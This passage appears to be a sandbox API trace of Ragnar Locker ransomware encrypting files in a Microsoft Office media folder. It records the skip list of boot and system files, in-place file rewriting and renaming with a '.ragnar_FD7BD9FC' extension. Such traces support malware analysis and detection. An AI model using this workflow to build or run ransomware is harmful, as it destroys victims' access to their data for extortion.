lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.504] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0095.504] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.504] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0196374.WMF" | out: lpString1="J0196374.WMF") returned="J0196374.WMF" [0095.504] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF") returned=".WMF" [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="autorun.inf") returned 1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="boot.ini") returned 1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="bootfont.bin") returned 1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="bootsect.bak") returned 1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="bootmgr") returned 1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="bootmgr.efi") returned 1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="bootmgfw.efi") returned 1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="desktop.ini") returned 1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="iconcache.db") returned 1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="ntldr") returned -1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="ntuser.dat") returned -1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="ntuser.dat.log") returned -1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="ntuser.ini") returned -1 [0095.504] lstrcmpiW (lpString1="J0196374.WMF", lpString2="thumbs.db") returned -1 [0095.504] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.504] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.504] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.504] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.504] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.504] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.504] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf")) returned 0x20 [0095.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.505] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4630) returned 1 [0095.505] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x120d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.505] GetProcessHeap () returned 0x580000 [0095.505] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.505] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.506] VirtualAlloc (lpAddress=0x0, dwSize=0x1216, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.507] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.507] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.507] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1216, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1216, lpOverlapped=0x0) returned 1 [0095.507] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.507] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1216, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.507] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1216, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1216, lpOverlapped=0x0) returned 1 [0095.508] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1216, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.508] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.508] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1216, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.508] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.508] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.508] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.509] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.509] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.509] GetProcessHeap () returned 0x580000 [0095.509] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.509] CloseHandle (hObject=0x104) returned 1 [0095.509] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" [0095.509] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.ragnar_FD7BD9FC" [0095.509] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0095.510] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.510] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0196400.WMF" | out: lpString1="J0196400.WMF") returned="J0196400.WMF" [0095.510] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF") returned=".WMF" [0095.510] lstrcmpiW (lpString1="J0196400.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.510] lstrcmpiW (lpString1="J0196400.WMF", lpString2="autorun.inf") returned 1 [0095.510] lstrcmpiW (lpString1="J0196400.WMF", lpString2="boot.ini") returned 1 [0095.510] lstrcmpiW (lpString1="J0196400.WMF", lpString2="bootfont.bin") returned 1 [0095.510] lstrcmpiW (lpString1="J0196400.WMF", lpString2="bootsect.bak") returned 1 [0095.510] lstrcmpiW (lpString1="J0196400.WMF", lpString2="bootmgr") returned 1 [0095.510] lstrcmpiW (lpString1="J0196400.WMF", lpString2="bootmgr.efi") returned 1 [0095.510] lstrcmpiW (lpString1="J0196400.WMF", lpString2="bootmgfw.efi") returned 1 [0095.510] lstrcmpiW (lpString1="J0196400.WMF", lpString2="desktop.ini") returned 1 [0095.511] lstrcmpiW (lpString1="J0196400.WMF", lpString2="iconcache.db") returned 1 [0095.511] lstrcmpiW (lpString1="J0196400.WMF", lpString2="ntldr") returned -1 [0095.511] lstrcmpiW (lpString1="J0196400.WMF", lpString2="ntuser.dat") returned -1 [0095.511] lstrcmpiW (lpString1="J0196400.WMF", lpString2="ntuser.dat.log") returned -1 [0095.511] lstrcmpiW (lpString1="J0196400.WMF", lpString2="ntuser.ini") returned -1 [0095.511] lstrcmpiW (lpString1="J0196400.WMF", lpString2="thumbs.db") returned -1 [0095.511] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.511] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.511] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.511] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.511] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.511] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.511] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf")) returned 0x20 [0095.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.512] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=36030) returned 1 [0095.512] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8cb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.512] GetProcessHeap () returned 0x580000 [0095.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.512] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.513] VirtualAlloc (lpAddress=0x0, dwSize=0x8cbe, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.514] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.514] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.514] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8cbe, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8cbe, lpOverlapped=0x0) returned 1 [0095.515] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.515] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8cbe, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.515] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8cbe, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8cbe, lpOverlapped=0x0) returned 1 [0095.515] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8cbe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.515] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.515] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x8cbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.516] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.516] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.516] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.516] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.516] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.516] GetProcessHeap () returned 0x580000 [0095.516] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.516] CloseHandle (hObject=0x104) returned 1 [0095.516] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" [0095.516] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.ragnar_FD7BD9FC" [0095.516] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.517] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0095.517] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.517] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0199036.WMF" | out: lpString1="J0199036.WMF") returned="J0199036.WMF" [0095.517] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF") returned=".WMF" [0095.517] lstrcmpiW (lpString1="J0199036.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.517] lstrcmpiW (lpString1="J0199036.WMF", lpString2="autorun.inf") returned 1 [0095.517] lstrcmpiW (lpString1="J0199036.WMF", lpString2="boot.ini") returned 1 [0095.517] lstrcmpiW (lpString1="J0199036.WMF", lpString2="bootfont.bin") returned 1 [0095.517] lstrcmpiW (lpString1="J0199036.WMF", lpString2="bootsect.bak") returned 1 [0095.517] lstrcmpiW (lpString1="J0199036.WMF", lpString2="bootmgr") returned 1 [0095.517] lstrcmpiW (lpString1="J0199036.WMF", lpString2="bootmgr.efi") returned 1 [0095.517] lstrcmpiW (lpString1="J0199036.WMF", lpString2="bootmgfw.efi") returned 1 [0095.517] lstrcmpiW (lpString1="J0199036.WMF", lpString2="desktop.ini") returned 1 [0095.517] lstrcmpiW (lpString1="J0199036.WMF", lpString2="iconcache.db") returned 1 [0095.518] lstrcmpiW (lpString1="J0199036.WMF", lpString2="ntldr") returned -1 [0095.518] lstrcmpiW (lpString1="J0199036.WMF", lpString2="ntuser.dat") returned -1 [0095.518] lstrcmpiW (lpString1="J0199036.WMF", lpString2="ntuser.dat.log") returned -1 [0095.518] lstrcmpiW (lpString1="J0199036.WMF", lpString2="ntuser.ini") returned -1 [0095.518] lstrcmpiW (lpString1="J0199036.WMF", lpString2="thumbs.db") returned -1 [0095.518] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.518] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.518] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.518] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.518] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.518] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.518] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf")) returned 0x20 [0095.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.518] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9496) returned 1 [0095.518] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x250f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.518] GetProcessHeap () returned 0x580000 [0095.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.519] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.520] VirtualAlloc (lpAddress=0x0, dwSize=0x2518, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.520] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.520] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.520] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2518, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2518, lpOverlapped=0x0) returned 1 [0095.521] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.521] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2518, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.521] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2518, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2518, lpOverlapped=0x0) returned 1 [0095.521] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.521] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.521] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2518, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.521] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.521] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.521] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.521] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.522] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.522] GetProcessHeap () returned 0x580000 [0095.522] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.522] CloseHandle (hObject=0x104) returned 1 [0095.522] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" [0095.522] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.ragnar_FD7BD9FC" [0095.522] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.522] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0095.522] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft 